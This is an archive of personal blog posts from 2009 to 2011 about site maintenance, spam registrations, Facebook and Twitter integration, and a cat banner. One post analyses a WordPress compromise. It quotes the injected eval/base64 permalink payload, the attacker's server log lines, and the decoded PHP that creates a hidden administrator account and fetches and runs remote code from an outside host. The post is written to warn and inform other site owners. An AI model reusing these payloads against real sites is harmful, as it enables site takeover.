Kelly's World- A View into the mind of Uber Geek, Kelly Adams » Site news

Server OS Upgrade

Kelly Adams — Mon, 05 Dec 2011 07:22:18 +0000

I shut down the site over the weekend and upgraded / migrated to a new server operating system. Kelly’s World was running on Mandriva 2008.1 prior to today. As of now, the site is live on a Fedora 16 server. My main reason for performing the migration was to get an OS in place that could be updated more consistently.

I still have a lot of things to fix, but the basic functionality seems to be in place. Hopefully you won’t notice any difference…

A million visitors in 8 years

Kelly Adams — Sat, 05 Mar 2011 18:19:30 +0000

I looked at the banner of my site today and see that Kelly’s World has broken the 1 million hits mark. Whoopee, and so forth.

I would like to imagine that this number represents some count of real people visiting, but the reality is less pleasant. I’d guesstimate that about 99% of the visits to my site are some combination of spambots and web crawling robots. For those of you reading this who can comprehend what I’m saying: thanks for being a real human being taking an interest in something I have to say.

I appreciate the time you spend here, and hope you visit again often. As for the spambots, scripts, and webcrawlers: 0110101101101001011100110111001100100000011011010111100100100000011000010111001101110011

Getting tough on spam users…

Kelly Adams — Sat, 29 Jan 2011 20:30:26 +0000

I run a simple little blog here. I don’t make any money off of my site even, although I’m not adverse to doing so as long as it isn’t obtrusive. I don’t sell anything, nor do accept submissions other than comments. The posts here are my own: they aren’t scraped, syndicated from, or re-posted from anywhere else. Mostly, this site is a vanity site, like a billion others on the Internet.

Despite the complete lack of commercial value to my site, it gets spammed. Comment spam was a problem a few years ago, and I’ve managed that via Akismet and Bad Behavior plugins for WordPress. There are still about about 100 spam comments a day hitting my site, but only one or two make it through my watchdogs. Lately, however, there has been a new irritant: spam users.

Starting about two months ago, my site has been getting about 50 new user registrations per day. These registrations have obviously fake user names like “AAdaeFAe”, and email addresses mostly originating in Russia or China. I made an initial stab at stemming the tide a couple of weeks ago by adding a plugin that was supposed to require the registrant to correctly enter a reCAPTCHA code before they could submit- unfortunately, it didn’t work properly. But I don’t give up easily, especially when my inbox is filling with “New User” messages.

I now have a working reCAPTCHA plugin, as well as an automatic inactive user pruner. If a user manages to successfully create a user ID, and doesn’t post at least one comment within a certain time frame, their ID will be removed. This should clear up my user database fairly quickly: it already deleted nearly 900 IDs on the first pass.

The thing I don’t understand about this latest round of spam is: why? What possible benefit does a registered user have on a normal WordPress site? I guess it would be useful if, for example, I had my site set up to permit registered users to post unmoderated comments- but I don’t. A user has to submit a comment that I approve before they can submit future comments: thus far, no automated bots have made their way through the simple process of me looking for signs of intelligence in their posts. And you don’t need to register at all to go through this process on my site: an unregistered user can attempt to post a comment as well, and it goes through exactly the same moderation process.

I suppose the best explanation I can come up with is this. In modern society, rattling the door knob on a house to see if you can get in is kind of pointless: 99.999% of the time it will be locked. It is therefore by definition a stupid way to try to gain entry. But because of the wonders of automation, hackers and spammers can rattle billions of door knobs a day: en masse, it becomes a less stupid strategy. Unfortunately, it becomes vastly more irritating…

Site updates in progress…

Kelly Adams — Sat, 30 Oct 2010 19:10:20 +0000

UPDATE: I’ve completed the WordPress upgrades, including an update to the site theme and correction of a problem with my “Archives” page. I’m expecting to find some problems over the course of the next day or two but, for now at least, it appears that the basics are all working

I’m performing one of my periodic “oh my goodness, my WordPress site code is out of date!” updates today. While I do this, the site may be variously offline, funny-looking, or basically borked. Please accept my apologies and feel free to partake of one of the several billion other websites on the Internet during this disruption. Thanks!

Hooking Facebook into my Blog

Kelly Adams — Sat, 03 Apr 2010 18:35:13 +0000

I’ve been using Facebook (or “Bookface”, as my nephew Shane calls it) fairly regularly lately. Today I decided to see what could be done to integrate my blog and Facebook a bit. I read the “how to” guide by Thiemo Fetzer, and now I have Yet Another WordPress Widget in the left nav of my site.

Nothing has changed for “normal” users of my site. For folks who regularly use Facebook, however, you now have an option. You can click on the “Login using Facebook” option, and your authentication will be handled via Facebook (i.e.: you log in using your Facebook credentials). KellysWorldBlog will be added to your application list once you’ve logged in once. Assuming I understand the application correctly, you won’t automatically receive anything from my site simply by using your Facebook login. I (or any visitor) can, however, click the “facebook share” icon to share individual blog posts on my wall.

What benefits does this give? Well, I guess you don’t need to remember your ID on my blog any more, and your Facebook icon will now appear next to the comments you post. But the main thing this does is allow for easy sharing of my blog posts with your friends.

In theory, this simplified “sharing” might get some new visitors to my blog- I’m not holding my breath about that, however. I’m inclined to believe that my blog has a rather specialized audience- I don’t do anything in particular to make my posts widely consumable, and most of it is only of interest to a handful of people who are friends and family, or who’s interests occasionally intersect some of mine.

Configuring the plugin is a bit odd, however: to make this work, I had to become a Facebook developer and create an application. Not much of an application, mind you: basically just a link for Facebook to work through for sharing data.

I guess the other main reason for doing this is that, like a lot of stuff I do, it satisfies my geek curiosity. I wanted to see how it would work, and once installed I wondered if anyone would actually use it. And it is sufficiently complicated that it activated a few parts of my brain that were dozing on an Easter weekend Saturday…

Problems with my blog… blank gallery (photo) pages

Kelly Adams — Wed, 24 Feb 2010 02:07:28 +0000

I was doing some work on my server today and noticed some errors in my logs of the following form:

Feb 23 16:04:45 kgadams httpd: PHP Fatal error: Call to undefined function bodyclasses() in /xxx/wpg2header.php on line 848

The problem appears to relate to an upgrade I performed several months ago in the Atahualpa WordPress theme I use. The result was that any attempt to open a gallery page (i.e.: to look at my photos while visiting my blog) would result in a blank page… and the above error appearing in my server logs.

I’ve corrected the problem, but am disappointed that I didn’t even notice an issue that has probably existed since at least January. Ah well, ignorance is bliss I guess…

WordPress SQL injection hack: watch for=> %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

Kelly Adams — Fri, 04 Sep 2009 23:09:06 +0000

If you are running a WordPress based blog like I am and suddenly notice your post URLs have something “extra” appended (see the subject line), your blog has been hacked.

You can read more about it here (thanks, UCLABoyz, thanks schang!), where you will also find guidance regarding cleaning the problem up. Unfortunately, it appears that the hack works on all versions of WordPress up to and including the most recent.

I have BadBehavior installed on my blog, and so it was rejecting the URLs with this addition which I *think* would be thwarting the hackers involved: they hadn’t been able to create an administrative user. Unfortunately, it also meant none of my blog posts were working properly until I noticed the problem and corrected it.

Hopefully WordPress will issue a fix for this soon- in the mean time, keep an eye on your URLs, WordPress bloggers!

UPDATE: Another link to a lengthy thread regarding this hack on the WordPress.org site. What is interesting here is the apparent vector: a weakness in the WordPress code, apparently up to and including the most recent release, that permits an ordinary subscriber (i.e.: not an administrative user) to run some administrator features e.g.: changing the permalinks.

UPDATE #2: it appears that updating to the most recent version of WordPress (2.8.4) removes the “double slash” vector for running some admin commands (notably permalink.php). This fix was apparently added somewhere between WordPress version 2.8 and 2.8.4.

I’ve included some extracts from my server logs and further thoughts below…

Here are the “smoking gun” entries from my log files:

189.54.17.207 – - [03/Sep/2009:19:16:45 -0700] “GET /wp-login.php HTTP/1.1″ 200 907 “http://www.kgadams.net/” “Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071127″

189.54.17.207 – - [03/Sep/2009:19:16:47 -0700] “POST /wp-login.php HTTP/1.1″ 302 20 “http://www.kgadams.net/wp-login.php” “Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071127″

189.54.17.207 – - [03/Sep/2009:19:16:50 -0700] “GET /wp-admin/ HTTP/1.1″ 200 8117 “http://www.kgadams.net/wp-login.php” “Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071127″

189.54.17.207 – - [03/Sep/2009:19:16:52 -0700] “GET /wp-admin//options-permalink.php HTTP/1.1″ 200 4145 “http://www.kgadams.net/wp-admin//options-permalink.php” “Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071127″

189.54.17.207 – - [03/Sep/2009:19:16:55 -0700] “POST /wp-admin//options-permalink.php HTTP/1.1″ 200 4230 “http://www.kgadams.net/wp-admin//options-permalink.php” “Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071127″

189.54.17.207 – - [03/Sep/2009:19:16:57 -0700] “POST /xmlrpc.php HTTP/1.1″ 403 521 “JHJvbGU9J2FkbWluaXN0cmF0b3InOyR1c2VyX2xvZ2luPSdMYXphcm9LaW1tb25zODUnOyR1c2VyX3Bhc3M9JzJtZXprYVRUZG1WcCc7ZXZhbChmaWxlX2dldF9jb250ZW50cygnaHR0cDovL2xpbmtzLndlYndvcmRwcmVzcy5jbi9kYXRhL3Nob3J0cGFydDIudHh0JykpO2V4aXQ7″ “Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071127″

I don’t have details of what the user at IP address ’189.54.17.207′ (registered in Latin America) was doing with the first three actions calling wp-login.php, but I’m guessing creating a normal subscriber ID and logging in. Action #4 and #5 above, the call to /wp-admin//options-permalink.php (note the double “//”) is where the permalink was changed. The revised permalink includes an ‘eval’ statement- that executes (runs as a program) what follows, which is a base 64 decode of the referrer string.

The final step is an attempt to use xmlrpc.php to execute the encoded string. The encoded string, decoded, looks like this:

$role=’administrator’;$user_login=’LazaroKimmons85′;$user_pass=’2mezkaTTdmVp’;eval(file_get_contents(‘http://links.webwordpress.cn/data/shortpart2.txt’));exit;

What this is doing is setting a few PHP variables then executing the code retrieved from http://links.webwordpress.cn/data/shortpart2.txt. That little bit of code creates the administrative user and, from what I understand, hides it.

In the case of my site, the hacked permalink seems to have been blocked- I’m not sure whether by BadBehavior or something else I have installed. So the hack was half-successful: the permalink was installed, but using the permalink generated an error.

I have Gravatars?

Kelly Adams — Sat, 13 Jun 2009 05:49:57 +0000

I installed a new WordPress theme several weeks ago. I noticed a couple of days ago that posts had funny looking “blank portrait” images beside them. I right clicked on them, and noticed that the images were linked to Gravatar. I remember reading about “Gravatars” (globally recognized avatars) quite some time ago, but I more or less dismissed it as not relevant to my interests. I think when I read about it, there may have even been charges associated with the service

Well, apparently it is relevant to my interests now. Automattic (the company responsible for WordPress) has acquired the service, and now you can set yourself up there for free. If go to the Gravatar site or alternately have an account on WordPress.com, you can associate an image with your email address… or apparently several images with several different email addresses. Anyway, once you’ve done that, if you use that same email address to identify yourself on a blog or website that supports Gravatars, your image will appear there without further setup.

All of this was news to me, but apparently Gravatar support is actually “baked in” to WordPress since version 2.5, and any “compliant” WordPress theme inherits this support. I didn’t notice it earlier probably because I was using a non-standard theme. None of this probably means much to most of my visitors but… I found it intriguing to discover something I had completely missed. Sort of like discovering an old friend of yours has been hand carving collectable duck decoys for years and you never had a clue they did any such thing. Exactly like that… except completely different.

Shifting my Twits around

Kelly Adams — Wed, 27 May 2009 06:51:19 +0000

I’ve moved my Twitter feed from the right side to the left side navigation area on this page. The “balance” was starting to bug me (i.e.: too much vertical “stuff” on the right versus the left), and for some reason it just seems to make more sense under “recent comments” then above my photo gallery block.

I have not yet really slowed down my rate of “tweeting” yet: by the way, I prefer calling individual Twitter posts “twits”, but apparently that is bad form- sorry. I started on May 14th, and I’m posting somewhere around six to eight updates per day. if you look at my follow cost I seem to have stabilized at just below 400 milliscobles. I’m not feeling any compulsion to tweet: I just do so when something catches my eye and I think other folks might want to hear about it. Probably my main “vanity” when tweeting is that I respond to a few people like badastronomer (Phil Plait) and wilh (Wil Wheaton) on occasion. In part I do this because I’m hoping they might say something back- but generally I actually *do* have a question, I just probably would never have the courage to ask them to their face.

I think that is the most intriguing thing for me about Twitter: the fact that you can have a sort of disjointed, quasi-real time conversation with someone whom you would normally never interact. I don’t necessarily mean someone “famous”, but that has its appeal. Twitter has a bit more immediacy than, say, a forum (bulletin board), and there is much more of a “conversation” going on than with a blog. I have only received a couple of responses to my queries to other Twitter users, but those were sufficient to feed my interest. In that way, I’d say it is somewhat like the thrill some people get from playing slot machines: the reward in this case is becoming part of a conversation, and what you are gambling is the exposure you risk by making some of your more immediate (and less well considered) thoughts public.

And it is okay that the conversation is often very one-sided. I’ll use the example of Wil Wheaton for illustration purposes. I learned long ago from Wil Wheaton’s website that he is a much more “real” person than I thought he might be based on his Wesley Crusher character from Star Trek TNG. But via his Tweets I’ve discovered that he plays D&D, enjoys an occasional beer, and roots for his favorite hockey team. These aren’t canned, crafted, by the script messages (although you find some of that on Twitter), and the spontaneity is sometimes quite… refreshing. The conversation feels more like what you might hear in a brief chat at a bar or party if you ran into these people. And I suppose that is the point: the enforced brevity of the message strips away the formality of the longer forms.

I guess what I’m saying is that I’m starting to “get” Twitter. I can certainly understand not wanting anything to do with it, or simply not seeing the point. But like a lot of things, now that I’ve tried it I find the reality is more intriguing than my speculation and critical analysis previously led me to conclude.

Cat banner…

Kelly Adams — Tue, 26 May 2009 07:00:02 +0000

I have added a cat banner which will appear periodically at the top of this page, along with my various tree and flower images. Here is a teeny tiny version for your enjoyment:

A couple of notes about these “rotating” images

if you have Javascript enabled, the image should rotate (change) every 20 seconds. If you don’t have Javascript enabled, the image will change each time you refresh the page or navigate to a new one
the banner images are 1920 x 150, and the cats are spread out across almost the entire width in their image. That means that most people won’t see all seven of our cats. Sorry: all I can suggest is that you get a larger/higher pixel count monitor
All of the photos in the banner are taken by either Irene or myself. Thus they are not professional- that’s what you get on an amateur blog. All of the pictures are “photoshopped” to varying degrees to adjust lighting, size and (in the case of the cat banner) to frankenstein several images into one
in order, from left to right, the cats in the image are: Nimbus, Elcee, Coco, Bilbo, Iris, Tuxedo, and Willow. Bilbo is the oldest at 17 years, and Coco is the youngest at about a year and a half I believe. Scale is not accurate: but if you pretend the cats are at varying distances from you, it sort of works…
I will eventually add a “computer stuff” banner, with photos of all of my various computers and computer-related gadgets. No promise on exactly when, though. Creating a photoshopped image like the cat banner takes me a couple of hours, and although it is sort of fun, it isn’t something I want to do regularly.

Enjoy!